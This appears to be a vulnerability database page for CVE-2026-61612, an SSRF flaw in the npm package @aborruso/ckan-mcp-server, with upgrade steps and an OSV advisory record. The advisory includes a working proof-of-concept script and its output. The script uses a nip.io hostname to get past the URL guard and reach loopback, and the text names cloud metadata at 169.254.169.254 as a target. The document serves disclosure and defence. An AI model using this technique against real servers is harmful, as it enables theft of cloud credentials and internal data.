CVE-2026-61612: @aborruso/ckan mcp server @aborruso/ckan-mcp-server Has SSRF Vulnerability
MODERATECVE-2026-61612 is a MODERATE (CVSS 5.7) @aborruso/ckan-mcp-server has ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @aborruso/ckan mcp server libraries in the npm ecosystem. The issue involves @aborruso/ckan-mcp-server has ssrf via dns-name → internal ip — incomplete fix of cve-2026-53509. Remediation is available by upgrading affected packages to version 0.4.108.
CVE-2026-61612 at a Glance
Security Impact
CVSS: 5.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N).
How to Fix CVE-2026-61612
To remediate this vulnerability, upgrade all affected @aborruso/ckan mcp server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @aborruso/ckan-mcp-server@0.4.108
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @aborruso/ckan-mcp-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-61612, inspect your project dependencies using npm:
npm ls @aborruso/ckan-mcp-server
Analyze the terminal output to locate any version of @aborruso/ckan mcp server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.108), your application is affected.
Note: The npm ls @aborruso/ckan-mcp-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @aborruso/ckan mcp server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-61612 Affected @aborruso/ckan mcp server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@aborruso/ckan-mcp-server
|
npm |
< 0.4.108
|
0.4.108
|
References
Frequently Asked Questions
What is CVE-2026-61612?
Which @aborruso/ckan mcp server versions are affected?
What version fixes CVE-2026-61612?
Is @aborruso/ckan-mcp-server affected?
What is the CVSS score of CVE-2026-61612?
What CWE is associated with CVE-2026-61612?
How can I check npm dependencies for CVE-2026-61612?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-798p-78g2-v556",
"modified" : "2026-09-22T14:51:20Z",
"published" : "2026-09-22T14:51:20Z",
"aliases" : [ "CVE-2026-61612" ],
"summary" : "@aborruso/ckan-mcp-server has SSRF via DNS-name → internal IP — incomplete fix of CVE-2026-53509",
"details" : "## Summary\nThe SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the **hostname string** and never resolves DNS. Any caller-supplied `server_url` whose hostname *resolves* to an internal address passes the guard, so the server issues requests to **loopback and cloud metadata (`169.254.169.254`)**. This is a third bypass of the same guard, still present in the current latest **0.4.107**, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.\n\n## Affected / patched\n- `@aborruso/ckan-mcp-server` (npm) — all versions with the guard, through **0.4.107** (current `latest`). The guard has never resolved DNS. No patch yet.\n\n## Severity\nIt is effectively **High** for the self-hosted **unauthenticated HTTP transport** (`TRANSPORT=http`, `POST /mcp`), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).\n\n## Root cause — `src/utils/http.ts`, `validateServerUrl`\nThe guard blocks IP **literals** and three loopback alias strings, but does no name resolution:\n```ts\nconst hostname = parsed.hostname.toLowerCase();\nif (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist\nif (hostname.match(/^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/)) { /* block private/special IPv4 LITERALS */ }\n// no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed\n```\nBoth prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added `ip6-localhost`/`ip6-loopback`). The DNS-resolution gap — the actual root cause — remains. `server_url` is a caller-controlled argument (`z.string().url()`) on every tool, reaching `makeCkanRequest` (all CKAN tools) and `querySparqlEndpoint` (`sparql_query`). The sink is **non-blind**: a non-CKAN response is returned to the caller verbatim via `CKAN API returned success=false: <body>`.\n\n> Note: numeric-IP encodings (decimal `2130706433`, short `127.1`, hex `0x7f.0.0.1`) do **not** bypass — Node's WHATWG `new URL()` canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.\n\n## Proof of concept\nDrives the published server over the MCP protocol via the public `ckan_package_search` tool. Local-only: the loopback server stands in for an internal/IMDS endpoint.\n```sh\nnpm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk\nnode poc.mjs\n```\n```js\nimport http from 'node:http';\nimport { Client } from \"@modelcontextprotocol/sdk/client/index.js\";\nimport { StdioClientTransport } from \"@modelcontextprotocol/sdk/client/stdio.js\";\n\nconst SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE';\nconst internal = http.createServer((_req, res) => {\n res.writeHead(200, { 'content-type': 'application/json' });\n res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response\n});\nawait new Promise(r => internal.listen(0, '127.0.0.1', r));\nconst port = internal.address().port;\n\nconst client = new Client({ name: \"ssrf-poc\", version: \"1.0.0\" });\nawait client.connect(new StdioClientTransport({\n command: \"node\", args: [\"node_modules/@aborruso/ckan-mcp-server/dist/index.js\"]\n}));\n\n// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname \"127.0.0.1.nip.io\"\n// (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1.\n// Use 169.254.169.254.nip.io to reach IMDS on a cloud host.\nconst evil = `http://127.0.0.1.nip.io:${port}/`;\nconst res = await client.callTool({ name: \"ckan_package_search\", arguments: { server_url: evil, q: \"x\" } });\n\nconst text = res.content?.[0]?.text || JSON.stringify(res);\nconsole.log(\"SSRF:\", text.includes(SECRET) ? \"YES — internal server reached, body returned to caller\" : \"no\");\nconsole.log(text.slice(0, 220));\nawait client.close(); internal.close();\n```\nOutput:\n```\nSSRF: YES — internal server reached, body returned to caller\nCKAN API returned success=false: {\"Token\":\"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE\"}\n```\nA real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; `nip.io` just makes the PoC self-contained.\n\n## Impact\nCaller-controlled SSRF to loopback, RFC-1918 hosts, and `169.254.169.254` (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.\n\n## Suggested fix\nResolve the hostname and validate **every resolved IP** against the private/special ranges, then **pin the connection to the validated IP** (custom `lookup`/agent) so a re-resolve cannot rebind to an internal address — or require the existing `CKAN_ALLOWED_DOMAINS` allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@aborruso/ckan-mcp-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.4.108"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.4.107"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-798p-78g2-v556"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61612"
}, {
"type" : "WEB",
"url" : "https://github.com/ondata/ckan-mcp-server/commit/bb7439b553b9f965adc3d43bcd415c42eebe2f40"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-3xm7-qw7j-qc8v"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-g84h-j7jj-x32p"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ondata/ckan-mcp-server"
}, {
"type" : "WEB",
"url" : "https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.108"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-22T14:51:20Z",
"nvd_published_at" : "2026-09-21T18:17:09Z"
}
}